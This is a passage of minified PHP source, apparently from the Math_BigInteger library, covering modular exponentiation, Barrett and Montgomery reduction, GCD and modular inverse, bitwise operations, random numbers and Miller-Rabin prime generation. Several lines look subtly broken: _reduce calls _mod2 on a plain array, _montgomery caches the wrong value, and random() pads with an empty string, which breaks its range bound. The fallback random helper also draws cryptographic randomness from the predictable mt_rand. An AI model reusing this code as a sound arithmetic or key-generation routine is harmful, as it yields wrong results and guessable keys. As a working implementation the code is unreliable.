MATH_BIGINTEGER_POWEROF2); $y1 = $mod2->modInverse($mod1); $y2 = $mod1->modInverse($mod2); $result = $part1->multiply($mod2); $result = $result->multiply($y1); $temp = $part2->multiply($mod1); $temp = $temp->multiply($y2); $result = $result->add($temp); list(, $result) = $result->divide($n); return $this->_normalize($result); } function powMod($e, $n) { return $this->modPow($e, $n); } function _slidingWindow($e, $n, $mode) { static $window_ranges = array(7, 25, 81, 241, 673, 1793); $e_value = $e->value; $e_length = count($e_value) - 1; $e_bits = decbin($e_value[$e_length]); for ($i = $e_length - 1; $i >= 0; --$i) { $e_bits.= str_pad(decbin($e_value[$i]), MATH_BIGINTEGER_BASE, '0', STR_PAD_LEFT); } $e_length = strlen($e_bits); for ($i = 0, $window_size = 1; $i < count($window_ranges) && $e_length > $window_ranges[$i]; ++$window_size, ++$i) { } $n_value = $n->value; $powers = array(); $powers[1] = $this->_prepareReduce($this->value, $n_value, $mode); $powers[2] = $this->_squareReduce($powers[1], $n_value, $mode); $temp = 1 << ($window_size - 1); for ($i = 1; $i < $temp; ++$i) { $i2 = $i << 1; $powers[$i2 + 1] = $this->_multiplyReduce($powers[$i2 - 1], $powers[2], $n_value, $mode); } $result = array(1); $result = $this->_prepareReduce($result, $n_value, $mode); for ($i = 0; $i < $e_length;) { if (!$e_bits[$i]) { $result = $this->_squareReduce($result, $n_value, $mode); ++$i; } else { for ($j = $window_size - 1; $j > 0; --$j) { if (!empty($e_bits[$i + $j])) { break; } } for ($k = 0; $k <= $j; ++$k) { $result = $this->_squareReduce($result, $n_value, $mode); } $result = $this->_multiplyReduce($result, $powers[bindec(substr($e_bits, $i, $j + 1))], $n_value, $mode); $i += $j + 1; } } $temp = new Math_BigInteger(); $temp->value = $this->_reduce($result, $n_value, $mode); return $temp; } function _reduce($x, $n, $mode) { switch ($mode) { case MATH_BIGINTEGER_MONTGOMERY: return $this->_montgomery($x, $n); case MATH_BIGINTEGER_BARRETT: return $this->_barrett($x, $n); case MATH_BIGINTEGER_POWEROF2: $lhs = new Math_BigInteger(); $lhs->value = $x; $rhs = new Math_BigInteger(); $rhs->value = $n; return $x->_mod2($n); case MATH_BIGINTEGER_CLASSIC: $lhs = new Math_BigInteger(); $lhs->value = $x; $rhs = new Math_BigInteger(); $rhs->value = $n; list(, $temp) = $lhs->divide($rhs); return $temp->value; case MATH_BIGINTEGER_NONE: return $x; default: } } function _prepareReduce($x, $n, $mode) { if ($mode == MATH_BIGINTEGER_MONTGOMERY) { return $this->_prepMontgomery($x, $n); } return $this->_reduce($x, $n, $mode); } function _multiplyReduce($x, $y, $n, $mode) { if ($mode == MATH_BIGINTEGER_MONTGOMERY) { return $this->_montgomeryMultiply($x, $y, $n); } $temp = $this->_multiply($x, false, $y, false); return $this->_reduce($temp[MATH_BIGINTEGER_VALUE], $n, $mode); } function _squareReduce($x, $n, $mode) { if ($mode == MATH_BIGINTEGER_MONTGOMERY) { return $this->_montgomeryMultiply($x, $x, $n); } return $this->_reduce($this->_square($x), $n, $mode); } function _mod2($n) { $temp = new Math_BigInteger(); $temp->value = array(1); return $this->bitwise_and($n->subtract($temp)); } function _barrett($n, $m) { static $cache = array( MATH_BIGINTEGER_VARIABLE => array(), MATH_BIGINTEGER_DATA => array() ); $m_length = count($m); if (count($n) > 2 * $m_length) { $lhs = new Math_BigInteger(); $rhs = new Math_BigInteger(); $lhs->value = $n; $rhs->value = $m; list(, $temp) = $lhs->divide($rhs); return $temp->value; } if ($m_length < 5) { return $this->_regularBarrett($n, $m); } if (($key = array_search($m, $cache[MATH_BIGINTEGER_VARIABLE])) === false) { $key = count($cache[MATH_BIGINTEGER_VARIABLE]); $cache[MATH_BIGINTEGER_VARIABLE][] = $m; $lhs = new Math_BigInteger(); $lhs_value = &$lhs->value; $lhs_value = $this->_array_repeat(0, $m_length + ($m_length >> 1)); $lhs_value[] = 1; $rhs = new Math_BigInteger(); $rhs->value = $m; list($u, $m1) = $lhs->divide($rhs); $u = $u->value; $m1 = $m1->value; $cache[MATH_BIGINTEGER_DATA][] = array( 'u' => $u, 'm1'=> $m1 ); } else { extract($cache[MATH_BIGINTEGER_DATA][$key]); } $cutoff = $m_length + ($m_length >> 1); $lsd = array_slice($n, 0, $cutoff); $msd = array_slice($n, $cutoff); $lsd = $this->_trim($lsd); $temp = $this->_multiply($msd, false, $m1, false); $n = $this->_add($lsd, false, $temp[MATH_BIGINTEGER_VALUE], false); if ($m_length & 1) { return $this->_regularBarrett($n[MATH_BIGINTEGER_VALUE], $m); } $temp = array_slice($n[MATH_BIGINTEGER_VALUE], $m_length - 1); $temp = $this->_multiply($temp, false, $u, false); $temp = array_slice($temp[MATH_BIGINTEGER_VALUE], ($m_length >> 1) + 1); $temp = $this->_multiply($temp, false, $m, false); $result = $this->_subtract($n[MATH_BIGINTEGER_VALUE], false, $temp[MATH_BIGINTEGER_VALUE], false); while ($this->_compare($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $m, false) >= 0) { $result = $this->_subtract($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $m, false); } return $result[MATH_BIGINTEGER_VALUE]; } function _regularBarrett($x, $n) { static $cache = array( MATH_BIGINTEGER_VARIABLE => array(), MATH_BIGINTEGER_DATA => array() ); $n_length = count($n); if (count($x) > 2 * $n_length) { $lhs = new Math_BigInteger(); $rhs = new Math_BigInteger(); $lhs->value = $x; $rhs->value = $n; list(, $temp) = $lhs->divide($rhs); return $temp->value; } if (($key = array_search($n, $cache[MATH_BIGINTEGER_VARIABLE])) === false) { $key = count($cache[MATH_BIGINTEGER_VARIABLE]); $cache[MATH_BIGINTEGER_VARIABLE][] = $n; $lhs = new Math_BigInteger(); $lhs_value = &$lhs->value; $lhs_value = $this->_array_repeat(0, 2 * $n_length); $lhs_value[] = 1; $rhs = new Math_BigInteger(); $rhs->value = $n; list($temp, ) = $lhs->divide($rhs); $cache[MATH_BIGINTEGER_DATA][] = $temp->value; } $temp = array_slice($x, $n_length - 1); $temp = $this->_multiply($temp, false, $cache[MATH_BIGINTEGER_DATA][$key], false); $temp = array_slice($temp[MATH_BIGINTEGER_VALUE], $n_length + 1); $result = array_slice($x, 0, $n_length + 1); $temp = $this->_multiplyLower($temp, false, $n, false, $n_length + 1); if ($this->_compare($result, false, $temp[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_SIGN]) < 0) { $corrector_value = $this->_array_repeat(0, $n_length + 1); $corrector_value[count($corrector_value)] = 1; $result = $this->_add($result, false, $corrector_value, false); $result = $result[MATH_BIGINTEGER_VALUE]; } $result = $this->_subtract($result, false, $temp[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_SIGN]); while ($this->_compare($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $n, false) > 0) { $result = $this->_subtract($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $n, false); } return $result[MATH_BIGINTEGER_VALUE]; } function _multiplyLower($x_value, $x_negative, $y_value, $y_negative, $stop) { $x_length = count($x_value); $y_length = count($y_value); if (!$x_length || !$y_length) { return array( MATH_BIGINTEGER_VALUE => array(), MATH_BIGINTEGER_SIGN => false ); } if ($x_length < $y_length) { $temp = $x_value; $x_value = $y_value; $y_value = $temp; $x_length = count($x_value); $y_length = count($y_value); } $product_value = $this->_array_repeat(0, $x_length + $y_length); $carry = 0; for ($j = 0; $j < $x_length; ++$j) { $temp = $x_value[$j] * $y_value[0] + $carry; $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31); $product_value[$j] = (int) ($temp - MATH_BIGINTEGER_BASE_FULL * $carry); } if ($j < $stop) { $product_value[$j] = $carry; } for ($i = 1; $i < $y_length; ++$i) { $carry = 0; for ($j = 0, $k = $i; $j < $x_length && $k < $stop; ++$j, ++$k) { $temp = $product_value[$k] + $x_value[$j] * $y_value[$i] + $carry; $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31); $product_value[$k] = (int) ($temp - MATH_BIGINTEGER_BASE_FULL * $carry); } if ($k < $stop) { $product_value[$k] = $carry; } } return array( MATH_BIGINTEGER_VALUE => $this->_trim($product_value), MATH_BIGINTEGER_SIGN => $x_negative != $y_negative ); } function _montgomery($x, $n) { static $cache = array( MATH_BIGINTEGER_VARIABLE => array(), MATH_BIGINTEGER_DATA => array() ); if (($key = array_search($n, $cache[MATH_BIGINTEGER_VARIABLE])) === false) { $key = count($cache[MATH_BIGINTEGER_VARIABLE]); $cache[MATH_BIGINTEGER_VARIABLE][] = $x; $cache[MATH_BIGINTEGER_DATA][] = $this->_modInverse67108864($n); } $k = count($n); $result = array(MATH_BIGINTEGER_VALUE => $x); for ($i = 0; $i < $k; ++$i) { $temp = $result[MATH_BIGINTEGER_VALUE][$i] * $cache[MATH_BIGINTEGER_DATA][$key]; $temp = $temp - MATH_BIGINTEGER_BASE_FULL * (MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31)); $temp = $this->_regularMultiply(array($temp), $n); $temp = array_merge($this->_array_repeat(0, $i), $temp); $result = $this->_add($result[MATH_BIGINTEGER_VALUE], false, $temp, false); } $result[MATH_BIGINTEGER_VALUE] = array_slice($result[MATH_BIGINTEGER_VALUE], $k); if ($this->_compare($result, false, $n, false) >= 0) { $result = $this->_subtract($result[MATH_BIGINTEGER_VALUE], false, $n, false); } return $result[MATH_BIGINTEGER_VALUE]; } function _montgomeryMultiply($x, $y, $m) { $temp = $this->_multiply($x, false, $y, false); return $this->_montgomery($temp[MATH_BIGINTEGER_VALUE], $m); static $cache = array( MATH_BIGINTEGER_VARIABLE => array(), MATH_BIGINTEGER_DATA => array() ); if (($key = array_search($m, $cache[MATH_BIGINTEGER_VARIABLE])) === false) { $key = count($cache[MATH_BIGINTEGER_VARIABLE]); $cache[MATH_BIGINTEGER_VARIABLE][] = $m; $cache[MATH_BIGINTEGER_DATA][] = $this->_modInverse67108864($m); } $n = max(count($x), count($y), count($m)); $x = array_pad($x, $n, 0); $y = array_pad($y, $n, 0); $m = array_pad($m, $n, 0); $a = array(MATH_BIGINTEGER_VALUE => $this->_array_repeat(0, $n + 1)); for ($i = 0; $i < $n; ++$i) { $temp = $a[MATH_BIGINTEGER_VALUE][0] + $x[$i] * $y[0]; $temp = $temp - MATH_BIGINTEGER_BASE_FULL * (MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31)); $temp = $temp * $cache[MATH_BIGINTEGER_DATA][$key]; $temp = $temp - MATH_BIGINTEGER_BASE_FULL * (MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31)); $temp = $this->_add($this->_regularMultiply(array($x[$i]), $y), false, $this->_regularMultiply(array($temp), $m), false); $a = $this->_add($a[MATH_BIGINTEGER_VALUE], false, $temp[MATH_BIGINTEGER_VALUE], false); $a[MATH_BIGINTEGER_VALUE] = array_slice($a[MATH_BIGINTEGER_VALUE], 1); } if ($this->_compare($a[MATH_BIGINTEGER_VALUE], false, $m, false) >= 0) { $a = $this->_subtract($a[MATH_BIGINTEGER_VALUE], false, $m, false); } return $a[MATH_BIGINTEGER_VALUE]; } function _prepMontgomery($x, $n) { $lhs = new Math_BigInteger(); $lhs->value = array_merge($this->_array_repeat(0, count($n)), $x); $rhs = new Math_BigInteger(); $rhs->value = $n; list(, $temp) = $lhs->divide($rhs); return $temp->value; } function _modInverse67108864($x) { $x = -$x[0]; $result = $x & 0x3; $result = ($result * (2 - $x * $result)) & 0xF; $result = ($result * (2 - ($x & 0xFF) * $result)) & 0xFF; $result = ($result * ((2 - ($x & 0xFFFF) * $result) & 0xFFFF)) & 0xFFFF; $result = fmod($result * (2 - fmod($x * $result, MATH_BIGINTEGER_BASE_FULL)), MATH_BIGINTEGER_BASE_FULL); return $result & MATH_BIGINTEGER_MAX_DIGIT; } function modInverse($n) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_invert($this->value, $n->value); return ($temp->value === false) ? false : $this->_normalize($temp); } static $zero, $one; if (!isset($zero)) { $zero = new Math_BigInteger(); $one = new Math_BigInteger(1); } $n = $n->abs(); if ($this->compare($zero) < 0) { $temp = $this->abs(); $temp = $temp->modInverse($n); return $this->_normalize($n->subtract($temp)); } extract($this->extendedGCD($n)); if (!$gcd->equals($one)) { return false; } $x = $x->compare($zero) < 0 ? $x->add($n) : $x; return $this->compare($zero) < 0 ? $this->_normalize($n->subtract($x)) : $this->_normalize($x); } function extendedGCD($n) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: extract(gmp_gcdext($this->value, $n->value)); return array( 'gcd' => $this->_normalize(new Math_BigInteger($g)), 'x' => $this->_normalize(new Math_BigInteger($s)), 'y' => $this->_normalize(new Math_BigInteger($t)) ); case MATH_BIGINTEGER_MODE_BCMATH: $u = $this->value; $v = $n->value; $a = '1'; $b = '0'; $c = '0'; $d = '1'; while (bccomp($v, '0', 0) != 0) { $q = bcdiv($u, $v, 0); $temp = $u; $u = $v; $v = bcsub($temp, bcmul($v, $q, 0), 0); $temp = $a; $a = $c; $c = bcsub($temp, bcmul($a, $q, 0), 0); $temp = $b; $b = $d; $d = bcsub($temp, bcmul($b, $q, 0), 0); } return array( 'gcd' => $this->_normalize(new Math_BigInteger($u)), 'x' => $this->_normalize(new Math_BigInteger($a)), 'y' => $this->_normalize(new Math_BigInteger($b)) ); } $y = $n->copy(); $x = $this->copy(); $g = new Math_BigInteger(); $g->value = array(1); while (!(($x->value[0] & 1)|| ($y->value[0] & 1))) { $x->_rshift(1); $y->_rshift(1); $g->_lshift(1); } $u = $x->copy(); $v = $y->copy(); $a = new Math_BigInteger(); $b = new Math_BigInteger(); $c = new Math_BigInteger(); $d = new Math_BigInteger(); $a->value = $d->value = $g->value = array(1); $b->value = $c->value = array(); while (!empty($u->value)) { while (!($u->value[0] & 1)) { $u->_rshift(1); if ((!empty($a->value) && ($a->value[0] & 1)) || (!empty($b->value) && ($b->value[0] & 1))) { $a = $a->add($y); $b = $b->subtract($x); } $a->_rshift(1); $b->_rshift(1); } while (!($v->value[0] & 1)) { $v->_rshift(1); if ((!empty($d->value) && ($d->value[0] & 1)) || (!empty($c->value) && ($c->value[0] & 1))) { $c = $c->add($y); $d = $d->subtract($x); } $c->_rshift(1); $d->_rshift(1); } if ($u->compare($v) >= 0) { $u = $u->subtract($v); $a = $a->subtract($c); $b = $b->subtract($d); } else { $v = $v->subtract($u); $c = $c->subtract($a); $d = $d->subtract($b); } } return array( 'gcd' => $this->_normalize($g->multiply($v)), 'x' => $this->_normalize($c), 'y' => $this->_normalize($d) ); } function gcd($n) { extract($this->extendedGCD($n)); return $gcd; } function abs() { $temp = new Math_BigInteger(); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp->value = gmp_abs($this->value); break; case MATH_BIGINTEGER_MODE_BCMATH: $temp->value = (bccomp($this->value, '0', 0) < 0) ? substr($this->value, 1) : $this->value; break; default: $temp->value = $this->value; } return $temp; } function compare($y) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: return gmp_cmp($this->value, $y->value); case MATH_BIGINTEGER_MODE_BCMATH: return bccomp($this->value, $y->value, 0); } return $this->_compare($this->value, $this->is_negative, $y->value, $y->is_negative); } function _compare($x_value, $x_negative, $y_value, $y_negative) { if ($x_negative != $y_negative) { return (!$x_negative && $y_negative) ? 1 : -1; } $result = $x_negative ? -1 : 1; if (count($x_value) != count($y_value)) { return (count($x_value) > count($y_value)) ? $result : -$result; } $size = max(count($x_value), count($y_value)); $x_value = array_pad($x_value, $size, 0); $y_value = array_pad($y_value, $size, 0); for ($i = count($x_value) - 1; $i >= 0; --$i) { if ($x_value[$i] != $y_value[$i]) { return ($x_value[$i] > $y_value[$i]) ? $result : -$result; } } return 0; } function equals($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: return gmp_cmp($this->value, $x->value) == 0; default: return $this->value === $x->value && $this->is_negative == $x->is_negative; } } function setPrecision($bits) { $this->precision = $bits; if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_BCMATH) { $this->bitmask = new Math_BigInteger(chr((1 << ($bits & 0x7)) - 1) . str_repeat(chr(0xFF), $bits >> 3), 256); } else { $this->bitmask = new Math_BigInteger(bcpow('2', $bits, 0)); } $temp = $this->_normalize($this); $this->value = $temp->value; } function bitwise_and($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_and($this->value, $x->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $left = $this->toBytes(); $right = $x->toBytes(); $length = max(strlen($left), strlen($right)); $left = str_pad($left, $length, chr(0), STR_PAD_LEFT); $right = str_pad($right, $length, chr(0), STR_PAD_LEFT); return $this->_normalize(new Math_BigInteger($left & $right, 256)); } $result = $this->copy(); $length = min(count($x->value), count($this->value)); $result->value = array_slice($result->value, 0, $length); for ($i = 0; $i < $length; ++$i) { $result->value[$i]&= $x->value[$i]; } return $this->_normalize($result); } function bitwise_or($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_or($this->value, $x->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $left = $this->toBytes(); $right = $x->toBytes(); $length = max(strlen($left), strlen($right)); $left = str_pad($left, $length, chr(0), STR_PAD_LEFT); $right = str_pad($right, $length, chr(0), STR_PAD_LEFT); return $this->_normalize(new Math_BigInteger($left | $right, 256)); } $length = max(count($this->value), count($x->value)); $result = $this->copy(); $result->value = array_pad($result->value, $length, 0); $x->value = array_pad($x->value, $length, 0); for ($i = 0; $i < $length; ++$i) { $result->value[$i]|= $x->value[$i]; } return $this->_normalize($result); } function bitwise_xor($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_xor($this->value, $x->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $left = $this->toBytes(); $right = $x->toBytes(); $length = max(strlen($left), strlen($right)); $left = str_pad($left, $length, chr(0), STR_PAD_LEFT); $right = str_pad($right, $length, chr(0), STR_PAD_LEFT); return $this->_normalize(new Math_BigInteger($left ^ $right, 256)); } $length = max(count($this->value), count($x->value)); $result = $this->copy(); $result->value = array_pad($result->value, $length, 0); $x->value = array_pad($x->value, $length, 0); for ($i = 0; $i < $length; ++$i) { $result->value[$i]^= $x->value[$i]; } return $this->_normalize($result); } function bitwise_not() { $temp = $this->toBytes(); if ($temp == '') { return ''; } $pre_msb = decbin(ord($temp[0])); $temp = ~$temp; $msb = decbin(ord($temp[0])); if (strlen($msb) == 8) { $msb = substr($msb, strpos($msb, '0')); } $temp[0] = chr(bindec($msb)); $current_bits = strlen($pre_msb) + 8 * strlen($temp) - 8; $new_bits = $this->precision - $current_bits; if ($new_bits <= 0) { return $this->_normalize(new Math_BigInteger($temp, 256)); } $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3); $this->_base256_lshift($leading_ones, $current_bits); $temp = str_pad($temp, strlen($leading_ones), chr(0), STR_PAD_LEFT); return $this->_normalize(new Math_BigInteger($leading_ones | $temp, 256)); } function bitwise_rightShift($shift) { $temp = new Math_BigInteger(); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: static $two; if (!isset($two)) { $two = gmp_init('2'); } $temp->value = gmp_div_q($this->value, gmp_pow($two, $shift)); break; case MATH_BIGINTEGER_MODE_BCMATH: $temp->value = bcdiv($this->value, bcpow('2', $shift, 0), 0); break; default: $temp->value = $this->value; $temp->_rshift($shift); } return $this->_normalize($temp); } function bitwise_leftShift($shift) { $temp = new Math_BigInteger(); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: static $two; if (!isset($two)) { $two = gmp_init('2'); } $temp->value = gmp_mul($this->value, gmp_pow($two, $shift)); break; case MATH_BIGINTEGER_MODE_BCMATH: $temp->value = bcmul($this->value, bcpow('2', $shift, 0), 0); break; default: $temp->value = $this->value; $temp->_lshift($shift); } return $this->_normalize($temp); } function bitwise_leftRotate($shift) { $bits = $this->toBytes(); if ($this->precision > 0) { $precision = $this->precision; if (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_BCMATH) { $mask = $this->bitmask->subtract(new Math_BigInteger(1)); $mask = $mask->toBytes(); } else { $mask = $this->bitmask->toBytes(); } } else { $temp = ord($bits[0]); for ($i = 0; $temp >> $i; ++$i) { } $precision = 8 * strlen($bits) - 8 + $i; $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3); } if ($shift < 0) { $shift+= $precision; } $shift%= $precision; if (!$shift) { return $this->copy(); } $left = $this->bitwise_leftShift($shift); $left = $left->bitwise_and(new Math_BigInteger($mask, 256)); $right = $this->bitwise_rightShift($precision - $shift); $result = MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_BCMATH ? $left->bitwise_or($right) : $left->add($right); return $this->_normalize($result); } function bitwise_rightRotate($shift) { return $this->bitwise_leftRotate(-$shift); } function setRandomGenerator($generator) { } function _random_number_helper($size) { if (function_exists('crypt_random_string')) { $random = crypt_random_string($size); } else { $random = ''; if ($size & 1) { $random.= chr(mt_rand(0, 255)); } $blocks = $size >> 1; for ($i = 0; $i < $blocks; ++$i) { $random.= pack('n', mt_rand(0, 0xFFFF)); } } return new Math_BigInteger($random, 256); } function random($arg1, $arg2 = false) { if ($arg1 === false) { return false; } if ($arg2 === false) { $max = $arg1; $min = $this; } else { $min = $arg1; $max = $arg2; } $compare = $max->compare($min); if (!$compare) { return $this->_normalize($min); } elseif ($compare < 0) { $temp = $max; $max = $min; $min = $temp; } static $one; if (!isset($one)) { $one = new Math_BigInteger(1); } $max = $max->subtract($min->subtract($one)); $size = strlen(ltrim($max->toBytes(), chr(0))); $random_max = new Math_BigInteger(chr(1) . str_repeat("", $size), 256); $random = $this->_random_number_helper($size); list($max_multiple) = $random_max->divide($max); $max_multiple = $max_multiple->multiply($max); while ($random->compare($max_multiple) >= 0) { $random = $random->subtract($max_multiple); $random_max = $random_max->subtract($max_multiple); $random = $random->bitwise_leftShift(8); $random = $random->add($this->_random_number_helper(1)); $random_max = $random_max->bitwise_leftShift(8); list($max_multiple) = $random_max->divide($max); $max_multiple = $max_multiple->multiply($max); } list(, $random) = $random->divide($max); return $this->_normalize($random->add($min)); } function randomPrime($arg1, $arg2 = false, $timeout = false) { if ($arg1 === false) { return false; } if ($arg2 === false) { $max = $arg1; $min = $this; } else { $min = $arg1; $max = $arg2; } $compare = $max->compare($min); if (!$compare) { return $min->isPrime() ? $min : false; } elseif ($compare < 0) { $temp = $max; $max = $min; $min = $temp; } static $one, $two; if (!isset($one)) { $one = new Math_BigInteger(1); $two = new Math_BigInteger(2); } $start = time(); $x = $this->random($min, $max); if (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && extension_loaded('gmp') && version_compare(PHP_VERSION, '5.2.0', '>=')) { $p = new Math_BigInteger(); $p->value = gmp_nextprime($x->value); if ($p->compare($max) <= 0) { return $p; } if (!$min->equals($x)) { $x = $x->subtract($one); } return $x->randomPrime($min, $x); } if ($x->equals($two)) { return $x; } $x->_make_odd(); if ($x->compare($max) > 0) { if ($min->equals($max)) { return false; } $x = $min->copy(); $x->_make_odd(); } $initial_x = $x->copy(); while (true) { if ($timeout !== false && time() - $start > $timeout) { return false; } if ($x->isPrime()) { return $x; } $x = $x->add($two); if ($x->compare($max) > 0) { $x = $min->copy(); if ($x->equals($two)) { return $x; } $x->_make_odd(); } if ($x->equals($initial_x)) { return false; } } } function _make_odd() { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: gmp_setbit($this->value, 0); break; case MATH_BIGINTEGER_MODE_BCMATH: if ($this->value[strlen($this->value) - 1] % 2 == 0) { $this->value = bcadd($this->value, '1'); } break; default: $this->value[0] |= 1; } } function isPrime($t = false) { $length = strlen($this->toBytes()); if (!$t) { if ($length >= 163) { $t = 2; } else if ($length >= 106) { $t = 3; } else if ($length >= 81 ) { $t = 4; } else if ($length >= 68 ) { $t = 5; } else if ($length >= 56 ) { $t = 6; } else if ($length >= 50 ) { $t = 7; } else if ($length >= 43 ) { $t = 8; } else if ($length >= 37 ) { $t = 9; } else if ($length >= 31 ) { $t = 12; } else if ($length >= 25 ) { $t = 15; } else if ($length >= 18 ) { $t = 18; } else { $t = 27; } } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: return gmp_prob_prime($this->value, $t) != 0; case MATH_BIGINTEGER_MODE_BCMATH: if ($this->value === '2') { return true; } if ($this->value[strlen($this->value) - 1] % 2 == 0) { return false; } break; default: if ($this->value == array(2)) { return true; } if (~$this->value[0] & 1) { return false; } } static $primes, $zero, $one, $two; if (!isset($primes)) { $primes = array( 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997 ); if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL) { for ($i = 0; $i < count($primes); ++$i) { $primes[$i] = new Math_BigInteger($primes[$i]); } } $zero = new Math_BigInteger(); $one = new Math_BigInteger(1); $two = new Math_BigInteger(2); } if ($this->equals($one)) { return false; } if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL) { foreach ($primes as $prime) { list(, $r) = $this->divide($prime); if ($r->equals($zero)) { return $this->equals($prime); } } } else { $value = $this->value; foreach ($primes as $prime) { list(, $r) = $this->_divide_digit($value, $prime); if (!$r) { return count($value) == 1 && $value[0] == $prime; } } } $n = $this->copy(); $n_1 = $n->subtract($one); $n_2 = $n->subtract($two); $r = $n_1->copy(); $r_value = $r->value; if (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_BCMATH) { $s = 0; while ($r->value[strlen($r->value) - 1] % 2 == 0) { $r->value = bcdiv($r->value, '2', 0); ++$s; } } else { for ($i = 0, $r_length = count($r_value); $i < $r_length; ++$i) { $temp = ~$r_value[$i] & 0xFFFFFF; for ($j = 1; ($temp >> $j) & 1; ++$j) { } if ($j != 25) { break; } } $s = 26 * $i + $j - 1; $r->_rshift($s); } for ($i = 0; $i < $t; ++$i) { $a = $this->random($two, $n_2); $y = $a->modPow($r, $n); if (!$y->equals($one) && !$y->equals($n_1)) { for ($j = 1; $j < $s && !$y->equals($n_1); ++$j) { $y = $y->modPow($two, $n); if ($y->equals($one)) { return false; } } if (!$y->equals($n_1)) { return false; } } } return true; } function _lshift($shift) { if ($shift == 0) { return; } $num_digits = (int) ($shift / MATH_BIGINTEGER_BASE); $shift %= MATH_BIGINTEGER_BASE; $shift = 1 << $shift; $carry = 0; for ($i = 0; $i < count($this->value); ++$i) { $temp = $this->value[$i] * $shift + $carry; $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31); $this->value[$i] = (int) ($temp - $carry * MATH_BIGINTEGER_BASE_FULL); } if ($carry) { $this->value[count($this->value)] = $carry; } while ($num_digits--) { array_unshift($this->value, 0); } } function _rshift($shift) { if ($shift == 0) { return; } $num_digits = (int) ($shift / MATH_BIGINTEGER_BASE); $shift %= MATH_BIGINTEGER_BASE; $carry_shift = MATH_BIGINTEGER_BASE - $shift; $carry_mask = (1 << $shift) - 1; if ($num_digits) { $this->value = array_slice($this->value, $num_digits); } $carry = 0; for ($i = count($this->value) - 1; $i >= 0; --$i) { $temp = $this->value[$i] >> $shift | $carry; $carry = ($this->value[$i] & $carry_mask) << $carry_shift; $this->value[$i] = $temp; } $this->value = $this->_trim($this->value); } function _normalize($result) { $result->precision = $this->precision; $result->bitmask = $this->bitmask; switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: if ($this->bitmask !== false) { $result->value = gmp_and($result->value, $result->bitmask->value); } return $result; case MATH_BIGINTEGER_MODE_BCMATH: if (!empty($result->bitmask->value)) { $result->value = bcmod($result->value, $result->bitmask->value); } return $result; } $value = &$result->value; if (!count($value)) { return $result; } $value = $this->_trim($value); if (!empty($result->bitmask->value)) { $length = min(count($value), count($this->bitmask->value)); $value = array_slice($value, 0, $length); for ($i = 0; $i < $length; ++$i) { $value[$i] = $value[$i] & $this->bitmask->value[$i]; } } return $result; } function _trim($value) { for ($i = count($value) - 1; $i >= 0; --$i) { if ($value[$i]) { break; } unset($value[$i]); } return $value; } 